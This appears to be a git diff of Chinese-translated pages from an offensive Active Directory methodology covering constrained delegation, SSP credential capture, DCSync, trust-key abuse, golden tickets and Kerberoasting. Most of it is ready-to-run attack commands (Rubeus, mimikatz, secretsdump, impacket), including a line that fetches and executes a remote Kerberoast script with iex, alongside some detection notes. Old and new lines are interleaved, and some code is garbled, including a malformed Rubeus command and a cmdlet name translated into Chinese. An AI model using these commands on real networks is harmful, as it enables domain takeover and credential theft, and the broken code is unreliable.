- **Service for User to Proxy(**_**S4U2proxy**_**):** **服务账户**可以代表任何用户为在**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此它首先需要从该用户获取TGS但可以使用S4U2self在请求另一个之前获取该TGS。
- **用户自我服务 (_S4U2self_):** 如果**服务账户**的 _userAccountControl_ 值包含 [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D),则它可以代表任何其他用户为自己(服务)获取 TGS。
- **用户代理服务 (_S4U2proxy_):** **服务账户**可以代表任何用户为在 **msDS-AllowedToDelegateTo** 中设置的服务获取 TGS。为此它首先需要从该用户获取 TGS但可以使用 S4U2self 在请求另一个之前获取该 TGS。
**注意**如果用户在AD中标记为_账户是敏感的无法被委托_您将**无法冒充**他们。
**注意**:如果用户在 AD 标记为_账户是敏感的无法被委托_您将**无法模拟**他们。
这意味着如果您**破解了服务的哈希**,您可以**冒充用户**并代表他们获得对**配置的服务**的**访问**(可能的**特权提升**)。
这意味着如果您**破解了服务的哈希**,您可以**模拟用户**并代表他们获得对任何**服务**的**访问**,在指定的机器上(可能的**特权提升**)。
此外,您**不仅可以访问用户能够冒充的服务,还可以访问任何服务**因为SPN请求的服务名称没有被检查只有权限。因此如果您可以访问**CIFS服务**您也可以使用Rubeus中的`/altservice`标志访问**HOST服务**。
此外,您**不仅可以访问用户能够模拟的服务,还可以访问任何服务**,因为 SPN请求的服务名称没有被检查在票证中这一部分未加密/签名)。因此,如果您可以访问**CIFS 服务**,您也可以使用 Rubeus 中的 `/altservice` 标志访问**HOST 服务**。
此外,**DC上的LDAP服务访问**是利用**DCSync**所需的。
此外,**DC 上的 LDAP 服务访问**是利用 **DCSync** 所需的。
```bash:Enumerate
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
```bash:Quick Way
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
```
- 第一步:**获取允许服务的 TGT**
```bash:Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
> [!WARNING]
> 有**其他方法可以获取TGT票证**或**RC4**或**AES256**,而不需要在计算机上成为SYSTEM例如打印机漏洞和不受限制的委派、NTLM中继和Active Directory证书服务滥用。
> 有**其他方法可以获取TGT票证**或**RC4**或**AES256**,而无需在计算机上成为SYSTEM例如打印机漏洞和不受限制的委派、NTLM中继和Active Directory证书服务滥用。
>
> **仅凭该TGT票证或哈希您可以在不危害整个计算机的情况下执行此攻击。**
- Step2: **获取服务的TGS以模拟用户**
```bash:Using Rubeus
#Obtain a TGS of the Administrator user to self
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
#Obtain service TGS impersonating Administrator (CIFS)
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)

View File

@ -4,12 +4,12 @@
### Custom SSP
[了解什么是 SSP (安全支持提供者) 在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
您可以创建您自己的 **SSP** **捕获** **明文** 形式使用的 **凭据** 以访问机器。
[了解什么是 SSP (Security Support Provider) 在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
您可以创建您**自己的 SSP**来**捕获**以**明文**形式使用的**凭据**以访问机器。
#### Mimilib
您可以使用 Mimikatz 提供的 `mimilib.dll` 二进制文件。**这将把所有凭据以明文形式记录在一个文件中。**\
您可以使用 Mimikatz 提供的 `mimilib.dll` 二进制文件。**这将把所有凭据以明文记录在一个文件中。**\
将 dll 放入 `C:\Windows\System32\`\
获取现有 LSA 安全包的列表:
```bash:attacker@target
@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
`mimilib.dll` 添加到安全支持提供程序列表(安全包):
```powershell
```bash
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
在重启后,所有凭据可以在 `C:\Windows\System32\kiwissp.log` 中以明文形式找到。
@ -27,7 +27,7 @@ reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
#### 在内存中
您还可以直接使用 Mimikatz 在内存中注入此内容(请注意,这可能有点不稳定/无法工作):
```powershell
```bash
privilege::debug
misc::memssp
```

View File

@ -15,15 +15,15 @@
### Enumeration
使用 `powerview` 检查谁拥有这些权限:
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### 本地利用
```powershell
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### 远程利用
```powershell
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
@ -35,28 +35,28 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
- 一个包含 **Kerberos 密钥**
- 一个包含 NTDS 中任何设置了 [**可逆加密**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) 的帐户的明文密码。您可以通过以下命令获取具有可逆加密的用户:
```powershell
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### 持久性
如果您是域管理员,您可以借助 `powerview` 将此权限授予任何用户:
```powershell
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
然后,您可以**检查用户是否正确分配**了这3个权限通过在输出中查找它们您应该能够在“ObjectType”字段中看到权限的名称
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### 缓解措施
- 安全事件 ID 4662对象的审计策略必须启用 对一个对象执行了操作
- 安全事件 ID 5136对象的审计策略必须启用 目录服务对象被修改
- 安全事件 ID 4670对象的审计策略必须启用 对象的权限被更改
- AD ACL 扫描器 - 创建和比较 ACL 的创建报告。 [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
- Security Event ID 4662 (对象的审计策略必须启用) 对一个对象执行了操作
- Security Event ID 5136 (对象的审计策略必须启用) 目录服务对象被修改
- Security Event ID 4670 (对象的审计策略必须启用) 对象的权限被更改
- AD ACL Scanner - 创建和比较 ACL 的报告。 [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## 参考文献
## 参考
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)

View File

@ -7,7 +7,7 @@
## 枚举
### 出站信任
```powershell
```bash
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
@ -28,17 +28,17 @@ MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
```
## 信任账户攻击
## Trust Account Attack
两个域之间建立信任关系时,存在安全漏洞,这里将两个域分别称为域 **A** 和域 **B**,其中域 **B** 将其信任扩展到域 **A**。在这种设置中,在域 **A** 中为域 **B** 创建了一个特殊账户,该账户在两个域之间的身份验证过程中发挥着关键作用。与域 **B** 关联的此账户用于加密访问跨域服务的票证。
当两个域之间建立信任关系时,存在安全漏洞,这里将称为域 **A** 和域 **B**,其中域 **B** 将其信任扩展到域 **A**。在这种设置中,在域 **A** 中为域 **B** 创建了一个特殊账户,该账户在两个域之间的身份验证过程中发挥着关键作用。与域 **B** 关联的此账户用于加密访问跨域服务的票证。
这里需要理解的关键点是,可以使用命令行工具从域 **A** 的域控制器中提取此特殊账户的密码和哈希值。执行此操作的命令是:
```powershell
```bash
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
此提取之所以可能,是因为该账户在其名称后带有 **$**,处于活动状态,并且属于域 **A** 的“域用户”组,从而继承了与该组相关的权限。这使得个人能够使用该账户的凭据对域 **A** 进行身份验证。
此提取之所以可能,是因为该账户在其名称后带有 **$**,处于活动状态,并且属于域 **A** 的“域用户”组,从而继承了与该组相关的权限。这使得个人可以使用该账户的凭据对域 **A** 进行身份验证。
**警告:** 利用这种情况在域 **A**作为用户获得立足点是可行的,尽管权限有限。然而,这种访问足以对域 **A** 进行枚举。
**警告:** 利用这种情况可以作为用户在域 **A** 中获得立足点,尽管权限有限。然而,这种访问足以对域 **A** 进行枚举。
`ext.local` 是信任域而 `root.local` 是被信任域的场景中,将在 `root.local` 中创建一个名为 `EXT$` 的用户账户。通过特定工具,可以转储 Kerberos 信任密钥,从而揭示 `root.local``EXT$` 的凭据。实现此目的的命令是:
```bash
@ -62,11 +62,11 @@ lsadump::trust /patch
有时在创建信任关系时用户必须输入信任的密码。在这个演示中密钥是原始信任密码因此是人类可读的。随着密钥的循环30 天),明文将不再是人类可读的,但在技术上仍然可用。
明文密码可以用来作为信任账户执行常规身份验证,作为请求信任账户的 Kerberos 秘钥的 TGT 的替代方案。在这里,从 ext.local 查询 root.local 的 Domain Admins 成员:
明文密码可以用来作为信任账户执行常规身份验证,作为使用信任账户的 Kerberos 秘钥请求 TGT 的替代方案。在这里,从 ext.local 查询 root.local 的 Domain Admins 成员:
![](<../../images/image (792).png>)
## 参考文献
## 参考
- [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)

View File

@ -7,7 +7,7 @@
## 枚举
首先,您需要**枚举****信任**
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -56,14 +56,14 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
在之前的枚举中发现用户 **`crossuser`** 在 **`External Admins`** 组内,该组在 **外部域的 DC** 中拥**管理员访问权限**
在之前的枚举中发现用户 **`crossuser`** 在 **`External Admins`** 组中,该组在 **外部域的 DC** 中具**管理员访问权限**
## 初始访问
如果你 **无法** 在其他域中找到你的用户的任何 **特殊** 访问权限,你仍然可以回到 AD 方法论,尝试从 **无特权用户** 提升权限(例如,进行 kerberoasting
你可以使用 **Powerview 函数** 通过 `-Domain` 参数来 **枚举** **其他域**,如:
```powershell
```bash
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
{{#ref}}
@ -75,7 +75,7 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
### 登录
使用具有访问外部域的用户凭据的常规方法,您应该能够访问:
```powershell
```bash
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID 历史滥用
@ -85,13 +85,13 @@ Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\admini
如果用户是 **从一个森林迁移到另一个森林**,并且 **未启用 SID 过滤**,则可以 **添加来自另一个森林的 SID**,并且在 **跨信任** 进行身份验证时,该 **SID** 将被 **添加****用户的令牌** 中。
> [!WARNING]
> 提醒您,您可以通过以下方式获取签名密钥
> 提醒您,您可以使用以下命令获取签名密钥
>
> ```powershell
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
> ```
您可以 **使用** 该 **受信任** 密钥 **签名** 一个 **TGT冒充** 当前域的用户。
您可以使用 **受信任** 密钥 **签名** 一个 **TGT冒充** 当前域的用户。
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@ -102,7 +102,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
### 完全方式冒充用户
### 完整的用户冒充方式
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

View File

@ -4,11 +4,11 @@
## Golden ticket
**Golden Ticket** 攻击是指通过使用 **Active Directory (AD) krbtgt 账户的 NTLM 哈希****创建一个合法的票据授权票 (TGT),以冒任何用户**。这种技术特别有利,因为它 **使充的用户能够访问域内的任何服务或机器**。重要的是要记住,**krbtgt 账户的凭据从不自动更新**。
**Golden Ticket** 攻击是指通过使用 **Active Directory (AD) krbtgt 账户的 NTLM 哈希****创建一个合法的票据授权票 (TGT),以冒任何用户**。这种技术特别有利,因为它 **使冒用户能够访问域内的任何服务或机器**。重要的是要记住,**krbtgt 账户的凭据从不自动更新**。
**获取 krbtgt 账户的 NTLM 哈希**,可以采用多种方法。它可以从 **本地安全授权子系统服务 (LSASS) 进程** 或位于域内任何域控制器 (DC) 上的 **NT 目录服务 (NTDS.dit) 文件** 中提取。此外,**执行 DCsync 攻击** 是获取此 NTLM 哈希的另一种策略,可以使用 **Mimikatz 中的 lsadump::dcsync 模块****Impacket 的 secretsdump.py 脚本** 来执行。需要强调的是,进行这些操作通常需要 **域管理员权限或类似级别的访问权限**
尽管 NTLM 哈希作为此目的的可行方法,但 **强烈建议** 使用 **高级加密标准 (AES) Kerberos 密钥 (AES128 和 AES256)****伪造票据,以确保操作安全**
尽管 NTLM 哈希作为此目的的有效方法,但 **强烈建议** 使用 **高级加密标准 (AES) Kerberos 密钥 (AES128 和 AES256)****伪造票据,以确保操作安全**
```bash:From Linux
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
```bash:From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
### 绕过常见检测
检测金票的最常见方法是通过**检查网络上的Kerberos流量**。默认情况下Mimikatz**将TGT签名为10年**,这在后续使用它的TGS请求中显得异常。
检测金票的最常见方法是通过**检查网络上的Kerberos流量**。默认情况下Mimikatz **将TGT签名为10年**,这在后续使用它发出的TGS请求中显得异常。
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
@ -36,7 +42,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
```
Get-DomainPolicy | select -expand KerberosPolicy
```
不幸的是TGT 的生命周期不会在 4769 中记录,因此您无法在 Windows 事件日志中找到此信息。然而,您可以关联的是 **看到 4769 而没有先前的 4768**。**没有 TGT 是无法请求 TGS 的**,如果没有 TGT 被发出的记录,我们可以推断它是离线伪造的。
不幸的是TGT 的生命周期在 4769 中没有记录,因此您无法在 Windows 事件日志中找到此信息。然而,您可以关联的是 **看到 4769 而没有先前的 4768**。**没有 TGT 是无法请求 TGS 的**,如果没有记录显示 TGT 被发放,我们可以推断它是在离线状态下伪造的。
为了 **绕过此检测**,请检查 diamond tickets

View File

@ -4,13 +4,13 @@
## Kerberoast
Kerberoasting 侧重于获取 **TGS tickets**,特别是与 **Active Directory (AD)****用户账户** 相关的服务,排除 **计算机账户**。这些票证的加密使用源自 **用户密码** 的密钥,从而允许 **离线凭证破解** 的可能性。使用用户账户作为服务的标志是 **"ServicePrincipalName"** 属性非空。
Kerberoasting 关注于获取 **TGS tickets**,特别是与 **Active Directory (AD)** **用户账户** 相关的服务,排除 **计算机账户**。这些票证的加密使用源自 **用户密码** 的密钥,从而允许 **离线凭证破解** 的可能性。使用用户账户作为服务的标志是 **"ServicePrincipalName"** 属性非空。
要执行 **Kerberoasting**,需要一个能够请求 **TGS tickets** 的域账户;然而,这个过程并不需要 **特殊权限**,使得任何拥有 **有效域凭证** 的人都可以访问。
### 关键点:
- **Kerberoasting** 针对 **AD****用户账户服务****TGS tickets**
- **Kerberoasting** 针对 **AD** **用户账户服务****TGS tickets**
- 使用 **用户密码** 的密钥加密的票证可以 **离线破解**
- 服务通过 **ServicePrincipalName** 的非空值来识别。
- **不需要特殊权限**,只需 **有效域凭证**
@ -19,130 +19,154 @@ Kerberoasting 侧重于获取 **TGS tickets**,特别是与 **Active Directory
> [!WARNING]
> **Kerberoasting 工具** 通常在执行攻击和发起 TGS-REQ 请求时请求 **`RC4 encryption`**。这是因为 **RC4 是** [**较弱的**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795),并且比其他加密算法如 AES-128 和 AES-256 更容易使用工具如 Hashcat 进行离线破解。\
> RC4 (类型 23) 哈希以 **`$krb5tgs$23$*`** 开头,而 AES-256 (类型 18) 以 **`$krb5tgs$18$*`** 开头。`
> RC4 (类型 23) 哈希以 **`$krb5tgs$23$*`** 开头,而 AES-256 (类型 18) 以 **`$krb5tgs$18$*`** 开头。\
> 此外,请小心,因为 `Rubeus.exe kerberoast` 会自动请求所有易受攻击账户的票证,这会导致被检测。首先,找到具有有趣权限的可 kerberoast 的用户,然后仅对他们运行。
```bash
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # 密码将被提示
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. 枚举可kerberoast的用户
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. 转储哈希
```
多功能工具,包括可进行 Kerberoast 的用户转储:
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **枚举可Kerberoast的用户**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
- **Enumerate Kerberoastable users**
```bash
# 获取可Kerberoast的用户
setspn.exe -Q */* #这是一个内置的二进制文件。关注用户账户
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **技术 1请求 TGS 并从内存中转储它**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
- **Technique 1: Ask for TGS and dump it from memory**
```bash
# 从单个用户获取内存中的 TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #示例: MSSQLSvc/mgmt.domain.local
# 获取所有可进行 kerberoast 的账户的 TGS包括 PC不太聪明
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
# 列出内存中的 kerberos 票据
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# 从内存中提取它们
Invoke-Mimikatz -Command '"kerberos::list /export"' #将票据导出到当前文件夹
# Transform kirbi ticket to john
# 将 kirbi 票据转换为 john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
# 将 john 转换为 hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **技术 2自动化工具**
- **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
# Powerview: 获取用户的 Kerberoast 哈希
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #使用 PowerView 示例: MSSQLSvc/mgmt.domain.local
# Powerview: 获取所有 Kerberoast 哈希
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #特定用户
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #获取管理员
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> 当请求 TGS 时,生成 Windows 事件 `4769 - A Kerberos service ticket was requested`
### 破解
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### 持久性
如果您对用户拥有**足够的权限**,您可以**使其可进行 Kerberoast**
### Persistence
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
您可以在这里找到用于 **kerberoast** 攻击的有用 **tools**: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
如果您在 Linux 中发现此 **error**: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**,这可能是由于您的本地时间,您需要将主机与 DC 同步。有几个选项:
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
- `ntpdate <IP of DC>` - 自 Ubuntu 16.04 起已弃用
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Mitigation
如果可利用Kerberoasting 可以以高度隐蔽的方式进行。为了检测此活动,应关注 **Security Event ID 4769**,该事件表示请求了 Kerberos 票证。然而,由于此事件的高频率,必须应用特定过滤器以隔离可疑活动:
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
- 服务名称不应为 **krbtgt**,因为这是正常请求。
- 以 **$** 结尾的服务名称应被排除,以避免包括用于服务的机器帐户。
- 应通过排除格式为 **machine@domain** 的帐户名称来过滤来自机器的请求。
- 仅应考虑成功的票证请求,通过失败代码 **'0x0'** 识别。
- **最重要的是**,票证加密类型应为 **0x17**,这通常用于 Kerberoasting 攻击。
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
获取事件 -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
为了降低 Kerberoasting 的风险:
- 确保 **服务账户密码难以猜测**,建议长度超过 **25 个字符**
- 利用 **托管服务账户**,提供 **自动密码更改****委派服务主体名称 (SPN) 管理** 等好处,提高对这种攻击的安全性。
To mitigate the risk of Kerberoasting:
通过实施这些措施,组织可以显著降低与 Kerberoasting 相关的风险。
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
## Kerberoast w/o domain account
**2022 年 9 月**,一位名为 Charlie Clark 的研究人员揭示了一种新的系统利用方式,通过他的平台 [exploit.ph](https://exploit.ph/) 分享。这种方法允许通过 **KRB_AS_REQ** 请求获取 **服务票据 (ST)**,而令人惊讶的是,这并不需要对任何 Active Directory 账户的控制。基本上,如果一个主体设置为不需要预身份验证——这种情况类似于网络安全领域所称的 **AS-REP Roasting 攻击**——则可以利用这一特性来操纵请求过程。具体来说,通过更改请求主体中的 **sname** 属性,系统被欺骗发出 **ST** 而不是标准的加密票据授予票据 (TGT)。
